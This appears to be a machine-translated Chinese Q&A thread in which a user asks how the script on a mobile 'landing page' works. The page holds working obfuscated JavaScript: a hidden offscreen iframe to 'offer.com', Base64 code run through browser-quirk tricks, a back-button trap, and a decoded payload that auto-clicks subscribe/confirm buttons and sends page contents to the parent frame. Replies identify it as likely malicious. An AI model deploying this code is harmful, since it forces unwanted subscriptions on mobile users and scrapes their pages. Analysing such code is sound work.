2017-07-28 53 views
-2

我正在爲移動網站使用着陸器,但我不太確定iframe如何處理這個特定的腳本。我不明白這個JavaScript腳本是如何工作的(着陸頁)

<html><head> 
    <base href=""> 

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    <title>title</title> 
    <meta content="IE-edge,chrome=1" http-equiv="X-UA-Compatible"> 
    <meta content="user-scalable=no, width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport"> 
    <link rel="stylesheet" href="reset.css"> 
    <link rel="stylesheet" href="style.css"> 
    <script> 
     var jmurl = 'https://google.com'; 
    </script> 

</head> 
<body> 
<style type="text/css"> 
    .footer { 
     box-sizing: border-box; 
    } 

    .f-links { 
     text-align: center; 
    } 

    .f-links a { 
     display: inline-block; 
     margin: 10px 4px; 
     font-size: 11px; 
     font-weight: bold; 
     text-decoration: none; 
    } 
</style> 
<script type="text/javascript"> 
    function playbut() { 
     document.getElementsByClassName("ldr")[0].style.display = 'block'; 
     document.getElementsByClassName("circle")[0].style.display = 'none'; 
    } 
    setTimeout(function() { 
     document.getElementById("preview").style.display = 'block'; 
     document.getElementsByClassName("ldr")[0].style.display = 'none'; 
     document.getElementsByClassName("ldr")[1].style.display = 'none'; 
     document.getElementsByClassName("circle")[0].style.display = 'block'; 
    }, 14000); 
</script> 
<div class="player-bloc"> 
    <div class="player" id="player"> 
     <div class="preview" id="preview" style="background-image: url(aa.gif); background-size: 100%; display: block; background-position: 50% 50%; background-repeat: no-repeat no-repeat;"></div> 
     <div style="display: block;" class="pop" id="spinner"> 
      <div class="circle" onclick="playbut()" style="display: block;"> 
       <div class="circle_inner"></div> 
      </div> 

      <div class="loader ldr" style="display: none;">Loading...</div> 
      <div class="btn-zone ldr" style="display: none;"> 
       <h2>Loading video</h2> 
      </div> 
     </div> 
    </div> 
    <div class="controls"> 
     <div class="ctrl"> 
      <img src="play.png" alt=""> 
     </div> 
     <div class="ctrl"> 
      <img src="stop.png" alt=""> 
     </div> 
     <div class="ctrl big"> 
      <div class="bar"> 
       <div class="bar-time"></div> 
      </div> 
     </div> 
     <div class="ctrl"> 
      <img src="volume.png" alt=""> 
     </div> 
     <div class="ctrl"> 
      <img src="expand.png" alt=""> 
     </div> 
     <div class="ctrl"> 
      <img src="fullscreen.png" alt=""> 
     </div> 
    </div> 
</div> 
<div class="texte"> 
    <p>text</p> 
</div> 
<script type="text/javascript" src="backfix.min.js"></script> 
<script> 
    function cxc(x) { 
     var navU = navigator["userAgent"]; 
     var isAndroidMobile = navU["indexOf"]("Android") > -1 && navU["indexOf"]("Mozilla/5.0") > -1 && navU["indexOf"]("AppleWebKit") > -1; 
     var pattern=/Chrome\/([\d\.]+)/; 
     var regExChrome = new RegExp(pattern); 
     var resultChromeRegEx = regExChrome["exec"](navU); 
     var chromeVersion = (resultChromeRegEx === null ? null : regExChrome["exec"](navU)[1]); 
     var cv=chromeVersion===null?null:chromeVersion.substr(3).replace(/\./g,''); 
     var value= "d2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnMC5EQiBDQUxMLUlOSVRJQUw+Pj5ocmVmOlsnICsgd2luZG93LmxvY2F0aW9uLmhyZWYgKyAnXTsgcmVmOlsnICsgZG9jdW1lbnQucmVmZXJyZXIgKyAnXTsnLCAnKicpOwp3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCcxLkRCIENBTEwtSFRNTCgwKT4+PicrIGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdodG1sJylbMF0uaW5uZXJIVE1MLCAnKicpOwoKaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N1Yl9idG4nKSE9dW5kZWZpbmVkKQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdmb3VuZCBzdWJfYnRuPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCe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jpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2Vsc2U+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQ=="; 
     if (isAndroidMobile && cv!=='0') { 
      IDBKeyRange.only.call(frames[x],0).constructor.constructor('eval(atob(\"'+ value +'\"))')(); 
     }else{ 
      window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x); 
     } 
    } 
    var i = document.documentElement.appendChild(document.createElement('iframe')); 
    i.onload = function(){cxc(0)}; 
    i.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); 
    i.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups'); 
    i.src = "javascript:window.location.replace('http://offer.com')"; 
    setTimeout(function(){location.replace(jmurl);}, 200000); 
</script> 

<script> 
    !function() { 
     var t; 
     try { 
      for (t = 0; 10 > t; ++t)history.pushState({}, "", '#'); 
      onpopstate = function (t) { 
       t.state && location.replace('#') 
      } 
     } 
     catch (o) { 
     } 
    }(); 
</script> 


</body><iframe style="position:absolute;left:-9999px;top:-9999px;height:1px;width:1px" sandbox="allow-scripts allow-forms allow-same-origin allow-popups" src="javascript:window.location.replace('http://offer.com')"></iframe></html> 

現在,我有問題的瞭解,行86部作品的腳本,(怎麼是與功能功能CXC啓動(X){,因爲它似乎是一個生成的iframe的一個對於

的「offer.com」網址。我想所示i.setAttribute的值可能會在執行期間生成的,我只是複製了某次執行中生成的那些(因爲位置和大小出現奇怪)

請讓我知道如果你能指出我正確的方向,我想了解這是如何運作的。

編輯:

具有VAR值=「d2luZG93LnBhcmVudC節...進行加密,使用Base64我得到了以下的代碼:

window.parent.postMessage('0.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
window.parent.postMessage('1.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 

if(document.getElementById('sub_btn')!=undefined) 
{ 
    window.parent.postMessage('found sub_btn>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    document.getElementById('sub_btn').click(); 
    window.parent.postMessage('btn clciked', '*'); 
} 
else if(document.getElementsByClassName('btn').length==1) 
{ 
    window.parent.postMessage('found btn>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    document.getElementsByClassName('btn')[0].click(); 
    window.parent.postMessage('btn clciked', '*'); 
} 
else if(document.getElementsByClassName('btnAcept').length>0) 
{ 
    window.parent.postMessage('found btnAcept>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.parent.postMessage('found btnAcept>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
    document.getElementsByClassName('btnAcept')[0].click(); 
    window.parent.postMessage('submitted>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
else if(document.getElementsByClassName('btn btn-success btn-lg').length>0) 
{ 
    window.parent.postMessage('found btn btn-success btn-lg>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
    document.getElementsByClassName('btn btn-success btn-lg')[0].click(); 
    window.parent.postMessage('btn btn-success btn-lg clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
else if(document.getElementsByClassName('confirmbutton').length>0) 
{ 
    window.parent.postMessage('FOUND click1>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
    document.getElementsByClassName('confirmbutton')[0].click(); 
    window.parent.postMessage('clicked2>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
else 
{ 
    window.parent.postMessage('else>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.parent.postMessage('else>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
+1

我認爲你需要學習JavaScript,你不能讓人們爲你做你的工作。 – argon

+0

你不能給我們一個關於哪條線是86線的問題嗎? –

+0

抱歉@ScottMarcus爲了方便閱讀,我假設有人會將其複製到文本編輯器中,然後使用相關信息更新,謝謝。 – gasguirre

回答

1

這條線是這是一個加密的數據解密在下一個評估(atob ..部分。最有可能的惡意,試圖注入自己的網頁。

var value= "d2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnMC5EQiBDQUxMLUlOSVRJQUw+Pj5ocmVmOlsnICsgd2luZG93LmxvY2F0aW9uLmhyZWYgKyAnXTsgcmVmOlsnICsgZG9jdW1lbnQucmVmZXJyZXIgKyAnXTsnLCAnKicpOwp3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCcxLkRCIENBTEwtSFRNTCgwKT4+PicrIGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdodG1sJylbMF0uaW5uZXJIVE1MLCAnKicpOwoKaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N1Yl9idG4nKSE9dW5kZWZpbmVkKQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdmb3VuZCBzdWJfYnRuPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdWJfYnRuJykuY2xpY2soKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2J0biBjbGNpa2VkJywgJyonKTsKfQplbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2J0bicpLmxlbmd0aD09MSkKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnZm91bmQgYnRuPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICs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FtZSgnYnRuIGJ0bi1zdWNjZXNzIGJ0bi1sZycpWzBdLmNsaWNrKCk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdidG4gYnRuLXN1Y2Nlc3MgYnRuLWxnIGNsaWNrZWQ+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQplbHNlIGlmKGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2NvbmZpcm1idXR0b24nKS5sZW5ndGg+MCkKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnRk9VTkQgY2xpY2sxPj4+JysgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwsICcqJyk7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdjb25maXJtYnV0dG9uJylbMF0uY2xpY2soKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2NsaWNrZWQyPj4+JysgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwsICcqJyk7Cn0KZWxzZQp7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdlbHNlPj4+aHJlZjpbJyArIHdpbmRvdy5sb2NhdGlvbi5ocmVmICsgJ107IHJlZjpbJyArIGRvY3VtZW50LnJlZmVycmVyICsgJ107JywgJyonKTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ2Vsc2U+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKfQ=="; 
+0

是的,我能解密,使用base64,我現在將它添加到原來的部分 – gasguirre

+1

該行正在執行以下https://pastebin.com/x1zbpHdw – NewToJS

+0

是@NewToJS我剛剛更新了,謝謝儘管:) – gasguirre

相關問題